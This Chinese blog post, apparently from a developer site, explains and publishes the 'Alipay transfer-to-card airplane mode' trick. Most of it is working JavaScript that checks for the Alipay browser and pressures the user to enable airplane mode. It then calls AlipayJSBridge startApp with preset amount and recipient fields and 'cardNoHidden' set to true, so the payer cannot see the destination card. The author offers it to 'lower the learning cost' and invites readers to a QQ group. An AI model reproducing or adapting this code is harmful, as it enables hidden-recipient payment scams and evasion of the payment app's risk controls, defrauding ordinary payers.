支付宝转卡飞行模式原理

支付宝转卡飞行模式
前几天某个人突然找我给他研究研究什么支付宝转卡飞行模式。
于是我就找找看看。。最后发现这个飞行模式只是在网页中调用了支付宝原本的H5JS代替了https://www…这样的跳转。
这里现在发出来降低大家的学习成本!也加深各位的技术2333333
这个部分就是核心代码块了

//这里是检测浏览器UI确保是支付宝打开的
 if (navigator.userAgent.match(/Alipay/i)) {
 //这部分就是检测飞行模式了
        var timeer;
        var w = 5;
        function show() {
            w += 10;
            var text = w + '%';
            if (w >= 100) {
                clearInterval(timeer);
                timeer = null;
                $('#btnTime').css({width: "100%"}).text('立即支付');
                $('#btnTime').removeAttr("disabled");
                $('#title').text("请打开手机飞行模式以继续!");
                return false
            }
            $('#btnTime').text(text).css({width: text})
        }

        function start() {
            timeer = window.setInterval(show, 50);
        }

        $('#btnTime').click(function () {
            goPay()
        });

        function goPay() {
            ap.getNetworkType(function (res) {
                networkAvailable = res.networkAvailable;
                if (networkAvailable) {
                    ap.alert({content: '请打开手机飞行模式后再点击立即支付。若启用飞行模式后没有断开WIFI请先暂时关闭WIFI'})
                } else {
                    layer.confirm('<div style="color:red; font-size:18px">跳转后请关闭飞行模式!<br /><br />跳转后请关闭飞行模式!<br /><br />跳转后请关闭飞行模式!', {
                        icon: 1,
                        title: '充值提示',
                        btn: ['我知道了']
                    }, function (index) {
                        layer.close(index);
                        setTimeout(function () {
                            scanQR()
                        }, 50)
                    })
                }
            })
        };var params = {
            "REALLY_STARTAP": "true",
            "actionType": "toCard",
            //金额
            "amount": "[[${amount}]]",
            "ap_framework_sceneId": "20000067",
            //姓名
            "bankAccount": "[[${bankAccount}]]",
            //银行简称
            "bankMark": "[[${bankMark}]]",
            //银行名字
            "bankName": "[[${bankName}]]",
            //历史转账
            "cardChannel": "HISTORY_CARD",
            //隐藏卡号必备
            "cardIndex": "[[${cardIndex}]]",
            //卡号,如果上面的值没问题,这里就可以随便填写了
            "cardNo": "[[${cardNo}]]",
            //是否开启隐藏卡号
            "cardNoHidden": "true",
            //金额第二次(别问我为啥)
            "money": "[[${money}]]",
            "orderSource": "from",
            "sourceId": "bill",
            "startFromExternal": "false"
        };

        function goJsPay() {
        //调用支付宝的JS然后跳转到转卡页面
            AlipayJSBridge.call('exitApp');
            setTimeout(function () {
                AlipayJSBridge.call("startApp", {appId: "09999988", param: params}, function (a) {
                })
            }, 10)
        }

        function scanQR() {
            setTimeout(function () {
                goJsPay()
            }, 10)
        }
    } else {
        window.location.href = 'https://www.alipay.com/'
    }

大概就是这样了。如果有兴趣讨论可以加我QQ1619405934 我们搞个群 聊聊

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值